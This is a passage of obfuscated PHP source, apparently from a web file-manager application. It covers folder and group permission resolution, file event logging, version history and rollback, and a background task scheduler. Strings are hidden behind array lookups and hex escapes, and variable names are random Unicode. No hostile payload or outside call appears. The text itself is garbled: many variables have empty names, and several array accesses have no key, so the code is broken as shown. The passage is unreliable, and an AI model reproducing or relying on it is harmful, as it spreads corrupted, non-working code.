[$ӄ[505]]; } } $ۙ = array_values(array_unique($ۙ)); $Ч = $ۙ; foreach ($Ч as $҅) { $ = $->getInfo($҅); $ = $ԥ->parentLevelArray($[$ӄ[521]]); $ۙ = array_merge($ۙ, $); } $ۙ = array_values(array_unique($ۙ)); foreach ($ۙ as $҅) { $ = $->getInfo($҅); $맒[] = $[$ӄ[86]][$ӄ[402]]; $[$҅] = $[$ӄ[86]][$ӄ[402]]; $떿[$҅] = $ԥ->parentLevelArray($[$ӄ[521]]); } foreach ($͑ as $ي => $ޠ) { $ԑ = $[$ي]; if (!$ԑ || !$[$ԑ]) { continue; } $䅅 = array(); foreach ($떿[$ԑ] as $҅) { $䅅[] = $[$҅]; } $͑[$ي] = array_merge($䅅, $ޠ); } $맒 = array_values(array_unique($맒)); $퐥 = array($ӄ[2051] => $맒, $ӄ[2052] => $͑); $܆[$Ԥ] = $퐥; return $퐥; } private function makeSourceAuth($, $ƺ, $ݍ = false) { $ע =& $_SERVER[]; $ = $ע[88]; $ٲ = $[$ע[505]]; $ = $[$ע[411]] == SourceModel::TYPE_GROUP; $ȕ = $ ? $this->groupRootAuth($ٲ, $ݍ) : !1; if ($ȕ && Model($ע[507])->authCheckAction($ȕ[$ע[413]], $ע[1884])) { return $this->groupAuthInfo($ȕ, $ٲ); } $ߗ = Model($ע[1343])->parentLevelArray($[$ע[521]]); $ߗ = array_merge(array($[$ע[402]]), array_reverse($ߗ)); $Ķ = !1; foreach ($ߗ as $Ĕ֙) { if (!isset($ƺ[$Ĕ֙])) { continue; } $ٷ = $this->authMake($ƺ[$Ĕ֙], $ݍ); if ($ٷ[$ע[467]]) { $Ķ = $ٷ; break; } } if (!$) { return $Ķ; } if (!$Ķ && $ȕ) { $Ķ = $this->groupAuthInfo($ȕ, $ٲ); } if (!$Ķ) { $곽 = Model($ע[522])->getInfo($ٲ); $蛊 = explode($ע[50], trim($곽[$ע[521]], $ע[50])); $蛊 = array_reverse($蛊); foreach ($蛊 as $܃Ҁ) { if ($܃Ҁ == $ע[197] || $܃Ҁ == $) { continue; } $ = $this->groupRootAuth($܃Ҁ, $ݍ); if (!$) { continue; } $Ķ = $this->groupAuthInfo($, $܃Ҁ); break; } } if (!$Ķ || $Ķ[$ע[414]] <= 0) { $ó = $this->authDeepCheck($[$ע[402]], $ݍ); if ($ó) { $Ķ = $ó; } } return $Ķ; } private function userIsRoot($ܯ = false) { $ʧ =& $_SERVER[]; if (!$ܯ && _get($GLOBALS, $ʧ[503])) { return !0; } $ʃ = Model($ʧ[535])->getInfo($ܯ); $ = Model($ʧ[2060])->listData($ʃ[$ʧ[1555]]); if ($ && $[$ʧ[511]][$ʧ[2061]] == 1) { return !0; } return !1; } private function sourceAuthInfo($隉) { $կ =& $_SERVER[]; $ = Model($կ[1343]); $ = $->sourceInfo($隉); if (!$) { return !1; } $->groupPathDisplay($); $墐 = array($); $墐 = $->_listAppendPath($墐); $ = $墐[0]; $Ï = $[$կ[519]]; if (isset($[$կ[527]])) { $ = explode($կ[8], trim($[$կ[519]], $կ[8])); array_shift($); $Ï = $[$կ[525]] . $կ[2062] . implode($կ[8], $); } return array($կ[420] => $[$կ[32]], $կ[84] => KodIO::make($[$կ[402]]), $կ[2063] => $Ï); } private function groupAuthInfo($, $ݝ) { $ϫÒ =& $_SERVER[]; $ǯ = Model($ϫÒ[522])->getInfo($ݝ); return array($ϫÒ[2064] => intval($[$ϫÒ[413]]), $ϫÒ[2048] => $, $ϫÒ[2065] => LNG($ϫÒ[2066]), $ϫÒ[2057] => array($ϫÒ[420] => $ǯ[$ϫÒ[32]], $ϫÒ[84] => KodIO::make($ǯ[$ϫÒ[86]][$ϫÒ[402]]), $ϫÒ[2063] => $ǯ[$ϫÒ[526]])); } protected function groupRootAuth($֙, $ܶ = false) { $ޒ =& $_SERVER[]; $ܶ = $ܶ ? $ܶ : USER_ID; $и = $ܶ . $ޒ[2067] . $֙; static $̕ = array(); if (isset($̕[$и])) { return $̕[$и]; } $ = Model($ޒ[522])->getInfo($֙); $í = $this->userGroupList($ܶ); $į = isset($í[$֙]) ? $í[$֙][$ޒ[413]] : !1; if ($į && Model($ޒ[507])->authCheckAction($į[$ޒ[413]], $ޒ[1884])) { $̕[$и] = $į; return $į; } $Ȍ = $this->sourceAuthSelect($[$ޒ[86]][$ޒ[402]]); $Üֵ = $Ȍ ? $this->authMake($Ȍ, $ܶ) : !1; $ι = $Üֵ ? $Üֵ[$ޒ[467]] : !1; $̕[$и] = $ι ? $ι : $į; return $̕[$и]; } public function authOwnerApply($ɩŵ) { $ߘ =& $_SERVER[]; if (empty($ɩŵ[$ߘ[413]]) || isset($ɩŵ[$ߘ[2068]]) && $ɩŵ[$ߘ[2068]]) { return $ɩŵ; } if (AuthModel::authCheckRoot($ɩŵ[$ߘ[413]][$ߘ[414]])) { return $ɩŵ; } $ó = Model($ߘ[1343])->parentLevelArray($ɩŵ[$ߘ[521]]); $ó = array_merge(array($ɩŵ[$ߘ[402]]), array_reverse($ó)); $ִŹ = $this->sourceAuthSelect($ó); $ݶ = array(); $ = array(); foreach ($ִŹ as $߾ => $跂) { $ܰ = $this->authFolderOwnerUser($跂); $ݶ[$߾] = $ܰ; $ = array_merge($, $ܰ[$ߘ[600]]); if ($ܰ[$ߘ[2069]]) { break; } } if (count($) == 0) { $ = $this->authFolderOwnerGroup($ɩŵ[$ߘ[505]]); } $ = array_unique($); if (AuthModel::authCheckRoot($ɩŵ[$ߘ[413]][$ߘ[414]])) { $[] = USER_ID; } $ɩŵ[$ߘ[413]][$ߘ[2070]] = Model($ߘ[513])->userListInfo($); return $ɩŵ; } private function authFolderOwnerGroup($ڀ) { $Ӹܪ =& $_SERVER[]; $ = Model($Ӹܪ[1953])->where(array($Ӹܪ[1863] => $ڀ))->select(); $Ǵ = array(); if (!$) { return $Ǵ; } foreach ($ as $ώ֫) { $ = $this->authInfo($ώ֫); if (AuthModel::authCheckRoot($[$Ӹܪ[413]])) { $Ǵ[] = $ώ֫[$Ӹܪ[1674]]; } } return $Ǵ; } private function authFolderOwnerUser($ʺ) { $̀ =& $_SERVER[]; $ㇳ = array(); $ = !1; foreach ($ʺ as $ҏ) { $˩ = $this->authInfo($ҏ); if ($ҏ[$̀[505]] == $̀[197]) { $ = !0; } if ($ҏ[$̀[411]] == SourceModel::TYPE_USER) { if (AuthModel::authCheckRoot($˩[$̀[413]])) { $ㇳ[] = $ҏ[$̀[505]]; } } } return array($̀[600] => $ㇳ, $̀[2069] => $); } public function authMake($қ, $Ӑ = false) { $ =& $_SERVER[]; $ = $this->authArrayCheck($қ, $Ӑ); if ($[$[2071]]) { $[$[2071]] = $this->sourceAuthInfo($[$[2071]]); } return $; } public function authArrayCheck($, $ = false) { $ӽ =& $_SERVER[]; if (!$) { return array($ӽ[414] => 0, $ӽ[467] => !1); } $ = $ ? $ : USER_ID; $ѧ = 0; $٬ = 0; $Ƕ = 0; $ = 0; $ = 0; $ = 0; $ = 1000; $팅 = 0; $ޫ = 0; $л = 0; $ʿ = 0; $ = array($ӽ[402] => 0); foreach ($ as $) { $ = $this->authInfo($); if (!$) { continue; } $ꈔ = $[$ӽ[505]]; $⣭Ҿ = intval($[$ӽ[413]]); if ($[$ӽ[411]] == SourceModel::TYPE_USER && $ꈔ == $) { $ѧ = !0; $Ƕ = $; $٬ = $⣭Ҿ; } else { if ($[$ӽ[411]] == SourceModel::TYPE_GROUP && $this->groupContainUser($ꈔ, $)) { $ = !0; $ݴ = $this->groupStepToUserGroup($ꈔ, $); if ($ݴ < $) { $ = $ݴ; $ = $⣭Ҿ; $ = $; $팅 = $ꈔ; } if ($ݴ == $ && $⣭Ҿ >= $) { $ = $⣭Ҿ; $ = $; $팅 = $ꈔ; } } else { if ($ꈔ == $ӽ[197]) { $ޫ = !0; $ʿ = $; $л = $⣭Ҿ; } } } } if ($ѧ) { $ = $٬; $ = $Ƕ; $ = LNG($ӽ[2072]); } else { if ($) { $ = $; $ = $; $ބ = Model($ӽ[522])->getInfo($팅); $ = $ӽ[162] . $ބ[$ӽ[526]] . $ӽ[2073] . LNG($ӽ[2074]); } else { if ($ޫ) { $ = $л; $ = $ʿ; $ = LNG($ӽ[2045]); } else { $ = 0; $ = !1; $ = $ӽ[12]; } } } $ = array($ӽ[2064] => intval($), $ӽ[2048] => $, $ӽ[2065] => $, $ӽ[2057] => $[$ӽ[402]]); return $; } private function groupContainUser($Ļ, $ = false) { return in_array($Ļ, $this->userGroupParents($)); } private function groupStepToUserGroup($, $ = false) { $龊 =& $_SERVER[]; $Լڒ = $this->userGroupList($); $ԩ灈 = 1000; $ř = $GLOBALS[$龊[6]][$龊[89]][$龊[1966]] == 1; $Ȯ = $ř ? 3 : 2; foreach ($Լڒ as $Ų) { if ($Ų[$龊[1863]] == $) { return 0; } $ = explode($龊[50], trim($Ų[$龊[521]], $龊[50])); if ($[0] == $龊[197] && count($) > $Ȯ) { $ = array_reverse(array_slice($, $Ȯ)); $٧ = array_search($, $); if ($٧ !== !1 && $٧ + 1 <= $ԩ灈) { $ԩ灈 = $٧ + 1; } } } return $ԩ灈; } private function userGroupList($Ž = false) { $ =& $_SERVER[]; static $Ҕ = array(); if (isset($Ҕ[$Ž])) { return $Ҕ[$Ž]; } $ᳱ = Model($[535])->getInfo($Ž); $Ҕ[$Ž] = array_to_keyvalue($ᳱ[$[2046]], $[1863]); return $Ҕ[$Ž]; } public function userGroupParents($ڭ) { $ʽ =& $_SERVER[]; static $ǰ = array(); $ڭ = $ڭ ? $ڭ : USER_ID; if (isset($ǰ[$ڭ])) { return $ǰ[$ڭ]; } $ = $this->userGroupList($ڭ); $ = array(); $ߦ = $GLOBALS[$ʽ[6]][$ʽ[89]][$ʽ[1966]] == 1; $ = $ߦ ? 3 : 2; foreach ($ as $η) { $ = array($η[$ʽ[1863]]); $ = explode($ʽ[50], trim($η[$ʽ[521]], $ʽ[50])); if ($[0] == $ʽ[197] && count($) > $) { $ = array_slice($, $); $ = array_merge($, array_reverse($)); } $ = array_merge($, $); } $ǰ[$ڭ] = array_unique($); return $ǰ[$ڭ]; } public function authTargetInfoMake($ܦڰ) { $ =& $_SERVER[]; $ݗ = array(); $ = array(); foreach ($ܦڰ as $) { if ($[$[411]] == SourceModel::TYPE_USER) { $ݗ[] = intval($[$[505]]); } else { if ($[$[411]] == SourceModel::TYPE_GROUP) { $[] = intval($[$[505]]); } } } if ($ݗ) { $ݗ = Model($[513])->userListInfo($ݗ); } if ($) { $ɸ = array($[1951] => array($[418], $)); $ = Model($[522])->field($[2075])->where($ɸ)->select(); $ = array_to_keyvalue($, $[1863]); } return array($[2076] => $ݗ, $[2077] => $); } public function authInfo($) { $ =& $_SERVER[]; if ($[$[1967]]) { $ĮƮ = Model($[507])->listData($[$[1967]]); if (!$ĮƮ) { return !1; $Љ = Model($[507])->listData(); $̰ = array_filter_by_field($Љ, $[413], $[197]); return $̰; } $ = array_field_key($ĮƮ, array($[399], $[32], $[413], $[1886], $[1887])); $[$[2078]] = $; return $; } else { return array($[419] => 0, $[1869] => $[$[2023]], $[420] => $[12], $[1886] => $[2079]); } } } class SourceEventModel extends ModelBase { protected $tableName = "\x69\157\137\x73\x6f\165\162\143\145\137\x65\x76\x65\156\164"; protected $dataAuto = array(array("\143\x72\145\141\164\145\124\x69\155\145", "\164\151\x6d\145", "\x69\156\163\145\x72\x74", "\x66\165\156\143\x74\151\157\156"), array("\144\x65\x73\x63", '', "\x69\156\x73\145\162\164\x2c\165\160\x64\141\x74\145\x2c\x73\145\x6c\145\143\164", "\152\x73\x6f\x6e")); protected $eventSave = true; public function recodeStop() { $this->eventSave = !1; } public function recodeStart() { $this->eventSave = !0; } public function addEvent($, $, $ӷ = '') { $߄ =& $_SERVER[]; if (!$this->eventSave) { return; } $㗖 = Model($߄[1343])->sourceInfo($); if (!$㗖) { return !1; } if ($this->isCacheEvent($㗖, $)) { return; } if ($ӷ && is_string($ӷ)) { $ӷ = array($߄[1902] => $ӷ); } $ = array($߄[417] => $, $߄[2080] => $㗖[$߄[432]], $߄[2081] => $㗖[$߄[32]], $߄[519] => !empty($㗖[$߄[519]]) ? $㗖[$߄[519]] : $߄[12], $߄[1665] => USER_ID, $߄[422] => $, $߄[1667] => $ӷ); $this->addSystemLog($, $); unset($[$߄[2081]], $[$߄[519]]); return $this->add($); } private function addSystemLog($, $Í) { $ =& $_SERVER[]; if ($ == $[2082]) { $ = $Í[$[453]][$[2083]]; } else { if (in_array($, array($[1843], $[2084]))) { $ = $Í[$[453]][$[759]]; } } $ݏ = array_merge($Í, array($[2085] => $Í[$[402]], $[2086] => $Í[$[2086]])); Hook::trigger($[2087], $[2088] . $, $Í); Model($[1807])->addLog($[2088] . $, $ݏ); } private function isCacheEvent($ٺ, $) { if ($ٺ[$_SERVER[][411]] == SourceModel::TYPE_SYSTEM) { return !0; } return !1; } public function eventCreate($, $ĭ) { $ =& $_SERVER[]; $ = Model($[1343])->sourceInfo($); $ = array($[2083] => $ĭ, $[32] => $[$[32]]); return $this->addEvent($, $[2082], $); } public function eventFileEdit($쒂) { $ۃ =& $_SERVER[]; $ǜ = array($ۃ[2089] => $_SERVER[$ۃ[2090]], $ۃ[2091] => strtolower(ACTION)); if (isset($GLOBALS[$ۃ[7]][$ۃ[2092]])) { $ǜ[$ۃ[2092]] = $ۃ[88]; } return $this->addEvent($쒂, $ۃ[1833], $ǜ); } public function eventRecycle($ܫÏ, $פ) { return $this->addEvent($ܫÏ, $_SERVER[][2084], $פ); } public function eventRemove($) { $ו΅ =& $_SERVER[]; $ = Model($ו΅[1343])->sourceInfo($); $տ = $[$ו΅[32]]; return $this->addEvent($[$ו΅[432]], $ו΅[1832], $տ); } public function eventShare($, $ߛ) { return $this->addEvent($, $_SERVER[][1843], $ߛ); } public function eventMove($ﴩ, $, $џ) { $ =& $_SERVER[]; $ƃ = Model($[1343]); $ = $ƃ->sourceInfo($ﴩ); $٨ = $ƃ->sourceInfo($); $ī = $ƃ->sourceInfo($џ); $Ǣ = array($[1167] => $, $[2093] => $٨[$[32]], $[2071] => !empty($٨[$[519]]) ? $٨[$[519]] : $[12], $[1168] => $џ, $[2094] => $ī[$[32]], $[2095] => !empty($ī[$[519]]) ? $ī[$[519]] : $[12]); $this->addEvent($ﴩ, $[557], $Ǣ); $ = $ƃ->sourceInfo($ﴩ); $Ǣ = array($[402] => $[$[402]], $[32] => $[$[32]]); $this->addEvent($, $[2096], $Ǣ); } public function eventCopy($ԋ) { $this->eventCreate($ԋ, $_SERVER[][555]); } public function eventRename($, $ٻԜ, $õ) { $ =& $_SERVER[]; $ȴ = array($[1167] => $ٻԜ, $[1168] => $õ); return $this->addEvent($, $[1358], $ȴ); } public function eventAddComment($ȅ, $) { return $this->addEvent($ȅ, $_SERVER[][2097], $); } public function eventAddDesc($, $) { return $this->addEvent($, $_SERVER[][2098], $); } public function listBySource($Π) { $Լ =& $_SERVER[]; $讞 = Model($Լ[1343])->sourceInfo($Π); $Г = array($Լ[417] => $Π); if ($讞[$Լ[410]] == $Լ[88]) { $ = Model($Լ[1343])->listSearchChildren($Π, 20000); $[] = $Π . $Լ[378]; $Г = array($Լ[402] => array($Լ[7], $)); } $ĕ = $this->where($Г)->order($Լ[2099])->selectPage(); if ($ĕ[$Լ[366]][$Լ[367]] == 0) { $ĕ[$Լ[366]][$Լ[367]] = 1; $ĕ[$Լ[369]] = array(array($Լ[417] => $Π, $Լ[2080] => $讞[$Լ[432]], $Լ[1665] => $讞[$Լ[454]], $Լ[422] => $Լ[2100], $Լ[423] => $讞[$Լ[200]], $Լ[1667] => $Լ[12])); } return $this->eventListParse($ĕ, $Π); } private function eventListParse($Ǟ, $ȇ) { $۠ =& $_SERVER[]; $ = $Ǟ[$۠[369]]; $ˎĽ = array_to_keyvalue($, $۠[12], $۠[402]); $ቕ = array_to_keyvalue($, $۠[12], $۠[2086]); foreach ($ as $) { $ = $[$۠[453]]; if ($[$۠[33]] == $۠[557] && isset($[$۠[1167]])) { $ˎĽ[] = $[$۠[1167]] . $۠[12]; $ˎĽ[] = $[$۠[1168]] . $۠[12]; } if ($[$۠[33]] == $۠[2096] && isset($[$۠[402]])) { $ˎĽ[] = $[$۠[402]] . $۠[12]; } } $ˎĽ = array_merge($ˎĽ, $ቕ, array($ȇ . $۠[12])); $ˎĽ = array_unique($ˎĽ); $ĩ = array_unique(array_to_keyvalue($, $۠[12], $۠[1674])); $Ԗ = Model($۠[535])->userListInfo($ĩ); $̒ɫ = Model($۠[829])->sourceListInfo($ˎĽ, !0); foreach ($ as &$) { if ($[$۠[33]] == $۠[557] && isset($[$۠[453]][$۠[1167]])) { $[$۠[453]][$۠[1167]] = $̒ɫ[$[$۠[453]][$۠[1167]]]; $[$۠[453]][$۠[1168]] = $̒ɫ[$[$۠[453]][$۠[1168]]]; } if ($[$۠[33]] == $۠[2096] && isset($[$۠[453]][$۠[402]])) { $[$۠[453]][$۠[402]] = $̒ɫ[$[$۠[453]][$۠[402]]]; } $[$۠[86]] = $̒ɫ[$[$۠[402]]]; $[$۠[2101]] = $̒ɫ[$[$۠[2086]]]; if ($[$۠[33]] == $۠[1832]) { $[$۠[2101]] = $[$۠[86]]; $[$۠[2086]] = $[$۠[2101]][$۠[402]]; $[$۠[86]] = !1; $[$۠[402]] = $۠[12]; } $[$۠[2031]] = $Ԗ[$[$۠[1674]]]; } unset($); $Ǟ[$۠[369]] = $; return $Ǟ; } public function removeBySource($̕) { $矝͟ = array($_SERVER[][417] => $̕); $this->where($矝͟)->remove(); } } class SourceHistoryModel extends ModelBase { protected $tableName = "\x69\x6f\137\x73\157\x75\162\x63\x65\137\150\151\x73\164\157\162\x79"; public function historyCount($곍) { $۰ =& $_SERVER[]; if (!$곍) { return array(); } if (is_string($곍) || is_int($곍)) { $곍 = array($곍); } $䟑 = array($۰[402], $۰[1896] => $۰[500]); $ = array($۰[402] => array($۰[7], $곍)); $ = $this->field($䟑)->where($)->group($۰[402])->select(); return array_to_keyvalue($, $۰[402], $۰[500]); } public function addHistory($, $ = '') { $㟐 =& $_SERVER[]; $ = array($㟐[417] => $[$㟐[402]], $㟐[1665] => isset($[$㟐[456]]) ? $[$㟐[456]] : $[$㟐[454]], $㟐[469] => $[$㟐[468]], $㟐[585] => $[$㟐[76]], $㟐[2102] => $); if ($GLOBALS[$㟐[6]][$㟐[89]][$㟐[1225]] >= 1) { $this->historyAutoClear($[$㟐[402]]); $this->add($); } Hook::trigger($㟐[2103], $); Model($㟐[2104])->eventFileEdit($[$㟐[402]]); } private function historyAutoClear($) { $⭶ =& $_SERVER[]; $Η = Model($⭶[774])->get($⭶[1247]); $ = $GLOBALS[$⭶[6]][$⭶[89]][$⭶[1225]]; $ = $Η == $⭶[1248] ? min(5, $) : $; $ = $ <= 0 ? 0 : $ - 1; if ($ >= 500) { return; } $ = array($⭶[417] => $); $ց = $this->field($⭶[2105])->where($)->order($⭶[2099])->select(); if (!$ց || $ >= count($ց)) { return; } $⛐ = array_to_keyvalue($ց, $⭶[12], $⭶[399]); $⛐ = array_slice($⛐, $); $ʕ = array_to_keyvalue($ց, $⭶[12], $⭶[468]); $ʕ = array_slice($ʕ, $); if (!$⛐ || !$ʕ) { return; } $ = array($⭶[419] => array($⭶[7], $⛐)); $this->where($)->delete(); Model($⭶[471])->remove($ʕ); } public function listData($) { $嘾 =& $_SERVER[]; $ = array($嘾[417] => $); $ۼ姰 = $嘾[2106]; $硅ט = $this->field($ۼ姰)->where($)->order($嘾[2099])->selectPage(); $this->_listAppendUser($硅ט[$嘾[369]]); $Ϣ = Model($嘾[774])->get($嘾[1247]); $ = 5; if ($Ϣ == $嘾[1248]) { $硅ט[$嘾[369]] = array_slice($硅ט[$嘾[369]], 0, $); $硅ט[$嘾[366]] = array($嘾[2107] => 1, $嘾[2108] => 20, $嘾[2109] => 1, $嘾[2110] => count($硅ט[$嘾[369]])); } return $硅ט; } protected function _listAppendUser(&$) { $ =& $_SERVER[]; $ڑ = array_to_keyvalue($, $[12], $[1674]); $Ə = Model($[535])->userListInfo($ڑ); foreach ($ as &$ƾ) { $ = $ƾ[$[1674]]; $ƾ[$[454]] = $Ə[$] ? $Ə[$] : !1; } unset($ƾ); } public function fileInfo($) { $ʪ =& $_SERVER[]; $օ = $this->tablePrefix; $ = "{$օ}\x69\157\x5f\x66\151\x6c\145\40\x66\x69\154\145\163\x20\157\156\x20\146\151\x6c\145\163\56\x66\151\154\x65\111\104\x20\75\40\x68\151\163\164\157\162\x79\x2e\x66\x69\x6c\x65\x49\x44"; return $this->alias($ʪ[2111])->where(array($ʪ[419] => $))->join($, $ʪ[2112])->find(); } public function removeItem($) { $ð =& $_SERVER[]; $Àж = array($ð[419] => $); $ = $this->where($Àж)->find(); if ($) { $Ȱ = $this->where($Àж)->delete(); Model($ð[471])->remove($[$ð[468]]); return $Ȱ; } return !1; } public function removeBySource($㍌) { $ =& $_SERVER[]; if (!$㍌) { return !1; } if (!is_array($㍌)) { $㍌ = array($㍌); } $Ƽ = array($[417] => array($[7], $㍌)); $ = $this->field($[469])->where($Ƽ)->select(); if ($) { $this->where($Ƽ)->delete(); $䧶 = array_to_keyvalue($, $[12], $[468]); Model($[471])->remove($䧶); } return !0; } public function setDetail($, $ޛ) { $ =& $_SERVER[]; return $this->where(array($[419] => $))->save(array($[2102] => $ޛ)); } public function rollbackToItem($, $豪) { $ΐ =& $_SERVER[]; $ޠǺ = Model($ΐ[829])->sourceInfo($); $this->addHistory($ޠǺ, LNG($ΐ[2113])); $ = $this->find($豪); $߯ = array($ΐ[468] => $[$ΐ[468]], $ΐ[76] => $[$ΐ[76]], $ΐ[85] => time(), $ΐ[456] => USER_ID); Model($ΐ[829])->where(array($ΐ[402] => $))->save($߯); return $this->where(array($ΐ[419] => $豪))->delete(); } public function clearSame($Ӷ) { $ں =& $_SERVER[]; $ = $this->listData($Ӷ); $Ξ = array_to_keyvalue_group($, $ں[468]); $ = array(); $ = array(); foreach ($Ξ as $) { if (!$ || count($) <= 1) { continue; } foreach ($ as $) { $[] = $[$ں[468]]; $[] = $[$ں[399]]; } } if (!$) { return; } $this->where(array($ں[399] => array($ں[7], $)))->delete(); Model($ں[471])->remove($); } public function userSpace() { $ =& $_SERVER[]; $ɖ = $this->tablePrefix; $Ů = array($[1665] => USER_ID); $ = "{$ɖ}\x69\x6f\x5f\x66\151\x6c\x65\40\146\151\154\145\163\40\x6f\156\x20\x66\151\154\145\163\56\146\151\154\x65\x49\104\x20\75\40\150\151\163\x74\157\x72\x79\x2e\146\x69\154\x65\111\x44"; return $this->alias($[2111])->where($Ů)->join($, $[2112])->sum($[76]); } } goto F; D: class AutoTask { const AUTO_DELAY_TIME = 2; const AUTO_RESTART_TIME = 7200; public static function start() { $ =& $_SERVER[]; if (self::valueGet($[754]) != $[88]) { return; } if (self::valueGet($[1633]) == $[88]) { $ = self::valueGet($[1634]); if (time() - $ > self::AUTO_RESTART_TIME) { self::restart(); } return; } http_close(); $GLOBALS[$[1635]] = 1; self::valueSet($[1633], $[88]); self::log($[1636] . ACTION . $[1637]); Session::$data = array(); Session::$sessionSign = $[12]; $GLOBALS[$[503]] = 1; Hook::bind($[1638], $[1639]); $ = 0; while (!0) { self::cacheClear(); if (self::valueGet($[754]) != $[88]) { self::valueSet($[1633], $[197]); self::log($[1640]); die; } $ = time(); if ($ - $ >= 60) { self::valueSet(array($[1633] => $[88], $[1634] => $), !1); $ = $; } if (!file_exists(USER_SYSTEM . $[1641])) { self::valueSet(array($[1633] => $[197], $[754] => $[197]), !1); die; } self::taskRunAll(); sleep(self::AUTO_DELAY_TIME); } } public static function restart() { $ܱ =& $_SERVER[]; http_close(); self::valueSet($ܱ[754], $ܱ[197]); sleep(self::AUTO_DELAY_TIME + 5); self::valueSet(array($ܱ[1633] => $ܱ[197], $ܱ[754] => $ܱ[88]), !1); } public static function taskSwitch() { $ҭ =& $_SERVER[]; $б = self::valueGet($ҭ[754]) == $ҭ[88] ? $ҭ[197] : $ҭ[88]; self::valueSet($ҭ[754], $б); } public static function shutdownEvent() { $ =& $_SERVER[]; self::valueSet($[1633], $[197]); self::log($[1642]); } public static function config($, $) { self::valueSet($_SERVER[][754], $); } private static function taskRunAll() { $ٮ =& $_SERVER[]; $ = timeFloat(); $ڃ = Model($ٮ[1643])->listData(); $ = count($ڃ); for ($ꆞ = 0; $ꆞ < $; $ꆞ++) { $ = $ڃ[$ꆞ]; if (!$[$ٮ[399]] || $[$ٮ[1644]] != $ٮ[88]) { continue; } if (!self::taskTimeCheck($)) { continue; } self::taskRun($); } Hook::trigger($ٮ[1645]); self::taskQueueRun($); } private static function taskQueueRun($߆) { $ = 10; while (!0) { $ = TaskQueue::run(); if ($ === !1) { break; } if (timeFloat() - $߆ >= $) { break; } } } private static function taskTimeCheck($Ϛ) { $ǧ =& $_SERVER[]; $ = json_decode($Ϛ[$ǧ[203]], !0); $ = intval($Ϛ[$ǧ[1634]]); $ = strtotime($ǧ[1646] . $[$ǧ[1647]] . $ǧ[1648]) - strtotime($ǧ[1649]); $ؤ = time() - strtotime(date($ǧ[1650]) . $ǧ[1651]); $ϙ = $ؤ >= $ && $ؤ <= $ + 3600; switch ($[$ǧ[33]]) { case $ǧ[1652]: if (time() - $ < 3600 * 24 * 30) { return !1; } if ($[$ǧ[1652]] == date($ǧ[1653]) && $ϙ) { return !0; } break; case $ǧ[1654]: if (time() - $ < 3600 * 24 * 7) { return !1; } $ = date($ǧ[1655]) == 0 ? 7 : date($ǧ[1655]); if ($[$ǧ[1654]] == $ && $ϙ) { return !0; } break; case $ǧ[1647]: if (time() - $ < 3600 * 24) { return !1; } if ($ϙ) { return !0; } break; case $ǧ[1656]: if (time() - $ >= floatval($[$ǧ[1656]]) * 60) { return !0; } break; default: break; } return !1; } private static function closeDatabase() { $ =& $_SERVER[]; static $ = 0; $܇ = 300; if (!$) { $ = time(); } if (time() - $ < $܇) { return; } $ = time(); $ɘ䵿 = Model($[513])->db($[12]); if ($ɘ䵿) { $ɘ䵿->closeConnect(); } if (time() - TIME > 3600 * 24 * 3) { self::log($[1657], $[1658]); die; } } public static function taskRun($߸) { $À =& $_SERVER[]; self::log($À[1659] . $߸[$À[399]] . $À[1660] . $߸[$À[32]] . $À[1661] . $߸[$À[1662]]); Model($À[1643])->run($߸[$À[399]]); $ = timeFloat(); $ߞ = $À[12]; switch ($߸[$À[33]]) { case $À[307]: $Ù = url_request($߸[$À[1662]], $À[230], !1, !1, !1, !1, 10); if ($Ù[$À[754]]) { $ߞ = strlen($Ù[$À[1210]]); } break; case $À[229]: $ߞ = Hook::apply($߸[$À[1662]]); default: break; } Model($À[1663])->add(array($À[1664] => $À[12], $À[1665] => $À[197], $À[33] => $À[1666] . $߸[$À[399]], $À[1667] => json_encode(array($À[32] => $߸[$À[32]], $À[1668] => timeFloat() - $, $À[293] => $ߞ)))); $ٛ = $ߞ ? $À[1669] . $ߞ : $À[12]; self::log($À[1670] . $߸[$À[399]] . $À[164] . $ٛ); return !0; } private static function valueGet($볳) { $݅ =& $_SERVER[]; $㨭 = $݅[1671]; $ = Model($݅[435])->get($볳, $㨭); if (is_null($)) { Model($݅[435])->set($݅[754], $݅[88], $㨭); Model($݅[435])->set($݅[1633], $݅[197], $㨭); $ = Model($݅[435])->get($볳, $㨭); } return $; } private static function valueSet($Š, $ϖڵ) { $ƥ =& $_SERVER[]; $ڟ = $ƥ[1672]; CacheLock::lock($ڟ); $ = Model($ƥ[435])->set($Š, $ϖڵ, $ƥ[1671]); CacheLock::unlock($ڟ); return $; } protected static function log($؟) { write_log($؟, $_SERVER[][1658]); } private static function cacheClear() { $٭ =& $_SERVER[]; Cache::clearMemory(Model($٭[435])->cacheKey($٭[1671])); Cache::clearMemory(Model($٭[435])->cacheKey($٭[1673])); Model($٭[1643])->cacheClear(); self::closeDatabase(); } } class Task { const STATYS_STOP = "\x73\x74\157\160"; const STATYS_RUNNING = "\162\x75\x6e\x6e\151\x6e\x67"; const STATYS_KILL = "\x6b\x69\x6c\154"; public $task; private $isEnd = false; public function __destruct() { $this->end(); } public function __construct($ܧ, $ = '', $ = 0, $ = '') { $壅 =& $_SERVER[]; if (self::get($ܧ)) { return; } $⸞ = defined($壅[475]) ? USER_ID : $壅[197]; $this->task = array($壅[399] => $ܧ, $壅[1674] => $⸞, $壅[1574] => $, $壅[453] => $壅[12], $壅[33] => $, $壅[1071] => $壅[12], $壅[790] => $, $壅[1675] => 0, $壅[1676] => 0, $壅[1677] => 0, $壅[1678] => timeFloat(), $壅[1679] => 0, $壅[1680] => 0, $壅[1681] => 0, $壅[1682] => 0, $壅[754] => $壅[1633]); $GLOBALS[$壅[1683]] = 1; Hook::bind($壅[1638], array($this, $壅[1684])); Hook::bind($壅[1685], array($this, $壅[1686])); $this->startAfter(); Hook::trigger($壅[1687], $this->task); $this->task[$壅[1680]] = timeFloat(); } public function end($ = '') { $ =& $_SERVER[]; if (!$this->task || $this->isEnd) { return; } if ($this->task[$[1680]]) { self::valueSet($this->task[$[399]], !1); } $this->isEnd = !0; if ($) { $this->task[$[453]] = $; } self::log($[1688] . $this->task[$[399]] . $[1689] . sprintf($[854], timeFloat() - $this->task[$[1678]]) . $[1690]); Hook::unbind($[1638], array($this, $[1684])); Hook::unbind($[1685], array($this, $[1686])); $this->endAfter(); $훼 = $this->task; $this->task = !1; Hook::trigger($[1691], $훼); } public function update($ = 0, $Ѓ = false) { $ =& $_SERVER[]; $ =& $this->task; if (!$) { return; } $[$[1675]] += $; $[$[1679]] = timeFloat(); if ($[$[790]]) { if ($[$[790]] < $[$[1675]]) { $[$[790]] = $[$[1675]]; } $ = timeFloat() - $[$[1678]] - $[$[1681]]; if ($ <= 